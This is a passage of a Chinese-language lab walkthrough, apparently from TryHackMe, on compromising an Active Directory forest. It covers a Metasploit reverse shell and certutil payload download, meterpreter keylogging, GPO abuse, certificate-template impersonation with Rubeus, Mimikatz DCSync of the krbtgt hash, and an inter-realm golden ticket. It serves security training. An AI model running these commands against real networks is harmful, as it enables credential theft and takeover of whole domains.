sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD  windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT  "listening port'; exploit"

您可以使用 Python Web 服务器托管 meterpreter shell,然后使用如下内容复制它:

certutil.exe -urlcache -split -f http:///shell.ps1

一旦您拥有了 meterpreter shell,您就可以继续。 第一步是查看用户本机上是否有正在运行的进程:

终端

         meterpreter\>ps | grep "explorer"
Filtering on 'explorer'

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
3612 3592 explorer.exe x64 1 THMSERVER1\trevor.local C:\Windows\explorer.exe

注意: 如果您没有看到 trevor.local 用户的 explorer.exe 进程,您可以通过执行以下步骤自行启动该进程:

  1. 使用以下命令重置 trevor.local 用户的密码:net user trevor.local <选择的密码>
  2. 在 powershell 中运行以下命令:C:\auto-login.ps1 trevor.local <选择的密码> THMSERVER1
    3.使用“shutdown -r”重新启动服务器
  3. 服务器重新联机后,您应该会看到资源管理器进程。

看来我们很幸运! 用户在 THMSERVER1 上有一个活动会话。 让我们迁移到该用户的一个进程。 最安全的选择通常是像explorer.exe这样:

终端

         meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.

我们可以使用 getuid 命令确认我们现在正在目标的上下文中运行:

终端

         meterpreter\>getuid
Server username: THMSERVER1\trevor.local

现在我们准备启动我们的键盘记录器:

终端

         meterpreter\>keyscan_start
Starting the keystroke sniffer ...

现在我们必须耐心等待。 如果幸运的话,我们将获得一些凭证! 给它几分钟,然后运行以下命令来转储捕获的击键:

终端

         meterpreter\>keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Passwordpasswordpassword<CR>

这是针对 AD 用户的一个简单示例。 还有很多事情可以做。 将用户定位纳入 AD 开发方法中至关重要。 要回答此任务的问题,您将需要 Keepass。 它已为您安装在 AttackBox 上,因此您只需搜索并运行该应用程序即可。 如果您使用自己的虚拟机,则在大多数 Linux 发行版上“sudo apt install keepassx”都可以工作。 或者您可以从此处下载。 另请确保使用 meterpreter“download”命令将 Keepass 数据库下载到您的主机。 如果您使用 Kali,请在打开数据库文件之前确保 kali 用户拥有该数据库文件,否则可能会锁定数据库并给出错误的结果。

虽然持久性只会在隔壁房间讨论,但现在可能是在 THMSERVER1 上创建本地帐户并授予其管理员权限的好时机,以便您有一个良好的立足点。 由于其余任务实际上并不需要这样做,因此如果您想这样做,您需要自己对此进行一些研究。

Exploiting GPOs

通过对用户进行键盘记录,我们可以解密他们的凭据数据库,从而为我们提供有助于进一步实现 AD 攻击目标的凭据,即 svcServMan 帐户。 我们需要执行一些枚举来弄清楚这些凭证的用途。 幸运的是,我们已经有了可以使用的 Sharphound 数据。 使用 Bloodhound 中的搜索功能,让我们检查一下所发现的帐户拥有的权限:

Bloodhound attack path

该帐户的一项权限尤其突出,即对组策略对象 (GPO) 的所有权。 此外,当我们进行一些调查时,似乎此 GPO 已应用于我们的 THMSERVER2 机器:

Bloodhound attack path

这可能为我们提供进一步开发 AD 的理想机会!

组策略对象

还记得我们在枚举 AD 中讨论过 SYSVOL 目录吗? 这是存储 AD GPO 的目录,以便将其复制到加入域的计算机。 GPO 是策略设置的虚拟集合。 每个 GPO 都有一个唯一的名称,称为 GUID。 这就是为什么如果您尝试读取 SYSVOL 目录的内容,那么所有随机名称都没有多大意义。

每台 Windows 计算机都有一个本地策略配置。 这包含几个值得注意的配置,例如:

  • 防火墙、防病毒和 Applocker 等服务的应用程序配置。
  • 本地组成员身份,例如管理员或远程桌面用户组。
  • 启动配置,例如应执行的脚本。
  • 安全和协议设置,例如 SMBv1 支持。

这些只是几个例子。 有大量可以设置的配置选项。

组策略管理

如果您只有一台 Windows 计算机,则可以轻松地直接在主机上更改本地策略配置。 但是,您需要一种机制来从大型组织的中央位置部署配置。 这就是组策略管理 (GPM) 发挥作用的地方。 GPM 允许我们直接在 AD 结构上定义策略,而不是在每台机器上本地定义策略。 本质上,我们可以为 AD 对象定义 GPO,例如特定的 OU 或组。

然后,加入域的计算机将定期从 SYSVOL 中提取所有策略并应用相关策略。 默认情况下,策略每 15 分钟通过 gpupdate 应用程序复制一次。 但是,我们也可以从命令提示符手动执行此应用程序以立即应用策略。

利用 GPO

尽管可以通过多种方式利用 GPO,但我们将坚持使用简单的解决方案,将我们控制的 AD 帐户添加到本地管理员组和本地远程桌面用户组。 这将允许我们获得 THMSERVER2 的管理权限以及 RDP 的能力。我们还可以使用公开的 SSH 端口,但没有多少组织已升级为提供 SSH 访问。 因此,RDP 访问或 SMBExec 等传统横向移动技术更安全。

为了修改GPO,我们需要以具有相关权限的AD用户访问组策略管理。 我们可以以用户身份通过 RDP 进入 THMSERVER1,但这可能会将用户踢出其活动会话,从而引起怀疑。 相反,我们将使用普通帐户或第 2 层管理员帐户通过 RDP 进入 THMWRK1,使用 runas 命令将 AD 用户的凭据注入内存,然后打开 MMC 来修改 GPO。 有关 runas 命令的回顾,请参阅 Enumerate AD room; 但是,此处还提供了应从管理命令提示符窗口执行的所需命令:

命令提示符

C:\>runas /netonly /user:za.tryhackme.loc\<AD Username> cmd.exe

出现提示后,提供与帐户关联的密码。 要验证您是否提供了正确的凭据,您可以运行“dir \za.tryhackme.loc\sysvol”。 在新生成的命令提示符窗口中,我们可以启动 Microsoft 管理控制台:

命令提示符

C:\>mmc

MMC 截图。

我们现在要添加组策略管理管理单元:

  1. 单击 文件 -> 添加/删除管理单元
  2. 选择 组策略管理 管理单元并单击 添加
  3. 单击确定

您现在应该能够看到 za.tryhackme.com 域的 GPO:

GPO configuration

现在,我们可以导航到用户有权修改的 GPO(服务器 > 管理服务器 > 管理服务器推送)。

GPO configuration

我们可以右键单击 GPO 并选择“编辑”。 这将打开新的组策略管理编辑器窗口。

GPO configuration

为了将我们的帐户添加到本地组,我们需要执行以下步骤:

  1. 展开计算机配置
  2. 展开政策
  3. 展开 Windows 设置
  4. 展开安全设置
  5. 右键单击受限组并选择添加组(如果IT Support组已经存在,则意味着有人已经执行了该漏洞利用。您可以删除它并自行创建它 ,或者只是检查它以查看配置的内容。)
  6. 单击“浏览”,输入“IT 支持”,然后单击“检查名称
  7. 单击“确定”两次

GPO configuration

不使用第一个过滤器。 对于第二个过滤器,我们要添加管理员组和远程桌面用户组。 最后,它应该看起来像这样:

GPO configuration

配置完成后,我们可以单击应用确定。 现在,我们需要做的就是等待最多 15 分钟,GPO 就会被应用。 此后,我们作为 IT 支持t 组成员的初始帐户现在将拥有 THMSERVER2 的管理和 RDP 权限!

Exploiting Certificates

现在我们已经可以访问 THMSERVER2,我们通过利用所有第 1 层资产(服务器)进一步推进了利用 AD 的旅程。 然而,我们再次陷入困境,没有简单的方法可以进入下一层。 同样,我们需要寻找更多的创意途径。

SpecterOps 完成并作为白皮书 发布的研究表明,可以利用错误配置的证书模板进行权限升级和横向移动。 如果您想更好地了解证书错误配置以及如何识别它们,请查看这个房间

AD证书服务

AD 证书服务 (CS) 是 Microsoft 的公钥基础设施 (PKI) 实现。 由于 AD 为组织提供了一定程度的信任,因此它可以用作 CA 来证明和委托信任。 AD CS 可用于多种用途,例如加密文件系统、创建和验证数字签名,甚至用户身份验证,这使其成为攻击者的一个有希望的途径。

由于 AD CS 是一项特权功能,因此它通常在选定的域控制器上运行。 这意味着普通用户无法真正直接与服务交互。 另一方面,组织往往太大,无法让管理员手动创建和分发每个证书。 这就是证书模板的用武之地。AD CS 管理员可以创建多个模板,允许任何具有相关权限的用户自行请求证书。 这些模板包含一些参数,说明哪个用户可以请求证书以及需要什么。 SpecterOps 发现这些参数的特定组合可能具有令人难以置信的毒性,并且会被滥用以进行权限升级和持久访问。

在我们深入探讨证书滥用之前,先介绍一些术语:

  • PKI - 公钥基础设施是管理证书和公钥加密的系统
  • AD CS - Active Directory 证书服务是 Microsoft 的 PKI 实现,通常在域控制器上运行
  • CA - 证书颁发机构是颁发证书的 PKI
  • 证书模板 - 定义 CA 颁发证书的方式和时间的设置和策略的集合
  • CSR - 证书签名请求是发送到 CA 以请求签名证书的消息
  • EKU - 扩展/增强密钥用法是定义如何使用生成的证书的对象标识符

查找易受攻击的证书模板
为了找到存在漏洞的模板,我们将使用Windows的内置工具certutil。 使用 THMSERVER2 上的 RDP 访问,我们可以运行以下 Powershell 脚本来枚举证书:

电源外壳

C:\>certutil -Template -v > templates.txt

这将提供所有配置模板的输出。 我们还可以使用证书审核工具,例如 Ghostpack 的 PSPKIAudit。 然而,手动方法使我们能够确保找到所有可能的错误配置。 如果参数值组合变得有毒,则证书模板将被视为配置错误,从而允许请求者执行权限升级。 在我们的例子中,我们正在寻找具有以下有毒参数组合的模板:

  • 客户端身份验证 - 证书可用于客户端身份验证。
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 证书模板允许我们指定主题备用名称 (SAN)。
  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - 证书可使用私钥导出。
  • 证书权限 - 我们拥有使用证书模板所需的权限。

如果您有兴趣了解有关有毒参数组合的更多信息,请阅读 SpectreOps 的白皮书。 由于这个房间的目的是获得更广泛的 AD 利用攻击知识,因此我们将指出 Template[32] 是易受攻击的模板。 在此模板中,我们可以看到 THMSERVER2 的计算机帐户可以为模板发出 CSR,该 CSR 允许我们指定主题备用名称 (SAN) 并可用于客户端身份验证。

SpecterOps 提到了 AD CS 的八种常见安全错误配置,因此应该注意的是,仍然可以发现大量潜在的错误配置。

利用证书模板

使用 THMSERVER2 上的 RDP 访问,我们现在将请求我们的证书。 如果您使用 Remmina 并保存 RDP 连接的配置,请确保禁用 受限管理模式。 我们将使用 Microsoft 管理控制台 (MMC):

1.点击开始->运行
2. 输入 mmc 并按 Enter 键
3. 单击文件->添加/删除管理单元..
4. 添加 证书 管理单元,并确保在提示中选择 计算机帐户本地计算机
5. 单击确定

您现在应该看到证书管理单元:

MMC Certificates

我们将要求个人证书:

  1. 右键单击个人并选择所有任务->请求新证书…
  2. 单击“下一步”两次,选择 AD 注册策略。
  3. 您将看到我们有一个可以请求的模板,但首先,我们需要提供其他信息。
  4. 单击“更多信息”警告。
  5. 主题名称类型 选项更改为 通用名称 并提供任意值(因为这并不重要),然后单击 添加
  6. 替代名称类型 选项更改为 用户主体名称
  7. 提供您要模拟的用户的 UPN。 最好是 DA 帐户,例如 Administrator@za.tryhackme.loc,然后单击 添加。

您的附加信息应如下所示:

MMC Certificates

一旦您对此感到满意,请单击“应用”和“确定”。 然后,选择证书并单击“注册”。 您应该能够看到您的证书:

MMC Certificates

最后一步是使用私钥导出我们的证书:

  1. 右键单击证书并选择所有任务->导出…
  2. 单击“下一步”,选择“是,导出私钥”,然后单击“下一步”。
  3. 单击下一步,然后为证书设置密码,因为没有密码无法导出私钥。
  4. 单击下一步并选择存储证书的位置。
  5. 单击“下一步”,最后单击“完成”。

通过证书模拟用户

现在我们终于可以模拟用户了。 要执行此操作,需要执行两个步骤:

  • 使用证书请求 Kerberos 票证授予票证 (TGT)
  • 将 Kerberos TGT 加载到您选择的黑客平台中

第一步,我们将使用 Rubeus。 已编译的版本可在“C:\Tools\”目录中找到。 打开命令提示符窗口并导航到该目录。 我们将使用以下命令来请求 TGT:

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to  certificate> /password:<certificate file password>  /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>

我们来分解一下参数:

  • /user - 这指定我们将模拟的用户,并且必须与我们生成的证书的 UPN 相匹配
  • /enctype - 这指定票证的加密类型。 设置此项对于规避很重要,因为默认加密算法很弱,这会导致溢出警报
  • /certificate - 我们生成的证书的路径
  • /password - 我们的证书文件的密码
  • /outfile - TGT 将输出到的文件
  • /domain - 我们当前攻击的域的 FQDN
  • /dc - 我们请求 TGT 的域控制器的 IP。 通常最好选择运行CA服务的DC

执行命令后,我们应该会收到 TGT:

TGT 请求

  C:\THMTools> .\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:12.31.1.101
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
[*] Building AS-REQ (w/ PKINIT preauth) for: 'lunar.eruca.com\svc.gitlab'
[+] TGT request successful!
[*] base64(ticket.kirbi):

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

ServiceName : krbtgt/za.tryhackme.loc
ServiceRealm : ZA.TRYHACKME.LOC
UserName : Adminsitrator
UserRealm : ZA.TRYHACKME.LOC
StartTime : 2/6/2022 5:54:46 PM
EndTime : 2/7/2022 3:54:46 AM
RenewTill : 2/13/2022 5:54:46 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=
ASREP (key) : BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED

现在我们可以使用 Mimikatz 加载 TGT 并向 THMDC 进行身份验证:

电源外壳

         C:\Tools>mimikatz_trunk\x64\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt administrator.kirbi

* File: 'administrator.kirbi': OK

mimikatz # exit
Bye!

C:\Tools>dir \\THMDC.za.tryhackme.loc\c$\
Volume in drive \\THMDC.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9

Directory of \\THMDC.za.tryhackme.loc\c$

01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
04/30/2022 10:24 AM 154 dns_entries.csv
04/27/2022 10:53 PM 885,468 MzIzMzViM2ItMmQ2Zi00YWQ3LWEwNjEtYjg2MmFjNzViY2Ix.bin
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
7 File(s) 2,356,811 bytes
7 Dir(s) 50,914,541,568 bytes free

最后,我们可以访问第 0 层基础设施,并破坏了整个子域!

Exploiting Domain Trusts

尽管我们可以访问第 0 层基础设施,但这仍然不够。 我们仅利用了 ZA.TRYHACKME.LOC 域。 TRYHACKME 肯定也必须有其他地区的域名吗? 好吧,如果我们控制了根域 TRYHACKME.LOC,我们将能够危害所有这些区域域。 在此任务中,我们将了解如何利用域信任来控制整个森林。

域名信托

正如 AD 基础知识室 中所讨论的,森林是 AD 网络内一棵或多棵域树的集合。 域信任是网络中的用户访问域中其他资源的一种机制。 在大多数情况下,信任概述了林内的域如何相互通信。 在某些环境中,信任可以扩展到外部域,在某些情况下甚至可以扩展到林。

域之间可以配置的信任主要有两种类型:

  • 方向性 - 信任从信任域流向受信任域的方向
  • 可传递的 - 信任关系不仅仅限于两个域,还包括其他受信任的域

林中通常有根域或父域。 在我们的例子中,这是 TRYHACKME.LOC。 对于每个区域办事处,都会创建子域,例如 ZA.TRYHACKME.LOC 或 UK.TRYHACKME.LOC。 此林配置将允许 ZA 和英国办事处之间共享资源。 例如,如果英国办公室的某个用户需要访问 THMSERVER1,我们可以为 ZA 域中的用户授予访问权限。 此权限委派之所以有效,是因为 ZA 和根域以及 UK 和根域之间存在双向信任,本质上是在 ZA 和 UK 之间创建传递信任。

如上所述,父域和子域之间的信任是双向的。 这是预期的行为,用于通过更大的可传递信任关系来共享资源。 然而,作为攻击者,如果我们已经破坏了子域,我们也可以利用这种信任来破坏父域。

KRBTGT 和黄金门票

KRBTGT 是用于 Microsoft 实施 Kerberos 的帐户。 该名称源自 Kerberos (KRB) 和票证授予票证 (TGT)。 本质上,此帐户充当 Kerberos 分发中心 (KDC) 服务的服务帐户,该服务处理所有 Kerberos 票证请求。 此帐户用于加密和签署域的所有 Kerberos 票证。 由于密码哈希由所有域控制器共享,因此当用户请求访问资源时,它们可以验证收到的 TGT 的真实性。

但是,如果我们想生成自己的 TGT 来授予我们访问所有内容的权限,该怎么办? 这称为金票攻击。 在金票攻击中,我们完全绕过 KDC 并创建我们自己的 TGT,本质上成为票证授予服务器 (TGS)。 为了伪造 TGT,我们需要以下信息:

  • 域的 FQDN
  • 域的安全标识符 (SID)
  • 我们要模拟的帐户的用户名
  • KRBTGT 密码哈希

前三个通常很容易恢复。 最后一个需要域妥协,因为 KRBTGT 密码哈希仅存储在域控制器上。 幸运的是,我们刚刚使用伪造的证书破坏了第 0 层管理员组,因此我们能够恢复 KRBTGT 密码哈希。

我们将再次使用带有 DC Sync 的 Mimikatz 来恢复 THMSERVER2 上的 KRBTGT 密码哈希:

命令提示符

         C:\Tools>mimikatz_trunk\x64\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID : 502

Credentials:
Hash NTLM: removed
ntlm- 0: removed
lm - 0: removed
[....]

领域间 TGT

使用 KRBTGT 密码哈希,我们现在可以伪造黄金票证来访问子域中的任何资源。 这也将在持久 AD 室中进行更详细的讨论。 然而,我们可以通过打造跨领域 TGT 来更进一步。 领域间 TGT 用于提供对其他域中资源的访问。 在我们的例子中,我们希望利用子域和父域之间的双向信任关系来获得对父域的完全访问权限。

当我们构建金票来执行此漏洞时,我们将包含来自其他域的额外帐户 SID。 Mimikatz 可以对此提供帮助,允许我们设置 Kerberos TGT 的 KERB_VALIDATION_INFO 结构的 ExtraSids 部分。 ExtraSids 部分被描述为“指向 KERB_SID_AND_ATTRIBUTES 结构列表的指针,该结构包含与主体所属帐户域以外的域中的组相对应的 SID 列表”。

这里的关键是,我们将通过将企业管理员 (EA) 组的 SID 作为额外的 SID 添加到我们为子域的域控制器伪造的票证中,来利用父域对子域的信任。 EA 组属于父域,并且该组的成员身份实质上授予对整个林的管理权限! 该组的默认 SID 是 S-1-5-21--519。

在我们开始利用之前,我们首先需要恢复两个 SID:

  • 子域控制器 (THMDC) 的 SID,我们将在伪造的 TGT 中模拟它
  • 父域中企业管理员的 SID,我们将其作为额外的 SID 添加到伪造的 TGT 中

要恢复这些 SID,我们可以使用 AD-RSAT Powershell cmdlet。 我们可以使用以下命令恢复子域控制器的SID:

命令提示符

         PS C:\> Get-ADComputer -Identity "THMDC"

DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName : THMDC.za.tryhackme.loc
Enabled : True
Name : THMDC
ObjectClass : computer
ObjectGUID : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName : THMDC$
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :

我们可以使用以下命令查询父域控制器来恢复 Enterprise Admins 组的 SID:

命令提示符

         PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory : Security
GroupScope : Universal
Name : Enterprise Admins
ObjectClass : group
ObjectGUID : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName : Enterprise Admins
SID : S-1-5-21-3330634377-removed-519

利用域信任

我们终于拥有了创建伪造 TGT 所需的所有信息。 我们将使用 Mimikatz 生成这张金票。 该命令将如下所示:

命令提示符

         C:\Tools>mimikatz_trunk\x64\mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptt
User : Administrator
Domain : za.tryhackme.loc (ZA)
SID : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service : krbtgt
Lifetime : 4/30/2022 7:52:51 PM ; 4/27/2032 7:52:51 PM ; 4/27/2032 7:52:51 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session

首先,我们将验证此票证是否可用于访问 THMDC,因为它是子域管理员用户的有效票证:

命令提示符

         C:\>dir \\thmdc.za.tryhackme.loc\c$
Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9

Directory of \\thmdc.za.tryhackme.loc\c$

01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
04/30/2022 10:24 AM 154 dns_entries.csv
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:28 PM <DIR> Program Files (x86)
04/27/2022 08:27 AM 1,423 thm-network-setup-dc.ps1
04/25/2022 07:13 PM <DIR> tmp
04/27/2022 08:22 AM <DIR> Users
04/25/2022 07:11 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 08:12 PM <DIR> Windows
7 File(s) 2,356,811 bytes
7 Dir(s) 50,913,189,888 bytes free;

这至少证实了金票是为了访问子 DC 而伪造的。 但是,由于我们指定了额外的 SID,因此我们现在还应该可以访问父 DC:

命令提示符

         C:\>dir \\thmrootdc.tryhackme.loc\c$\
Volume in drive \\thmrootdc.tryhackme.loc\c$ is Windows
Volume Serial Number is 1634-22A9

Directory of \\thmrootdc.tryhackme.loc\c$

01/04/2022 08:47 AM 103 delete-vagrant-user.ps1
09/15/2018 08:19 AM <DIR> PerfLogs
03/21/2020 09:31 PM <DIR> Program Files
03/21/2020 09:25 PM <DIR> Program Files (x86)
04/23/2022 09:21 AM 58 root_dns_entries.csv
04/23/2022 09:22 AM 1,432 thm-network-setup-dc.ps1
04/25/2022 05:50 PM <DIR> tmp
04/27/2022 07:54 AM <DIR> Users
04/25/2022 05:50 PM <SYMLINKD> vagrant [\\vboxsvr\vagrant]
04/27/2022 06:29 PM <DIR> Windows
3 File(s) 1,593 bytes
7 Dir(s) 51,105,730,560 bytes free

这证明我们现在仅通过破坏其中一个子域就完全破坏了父域!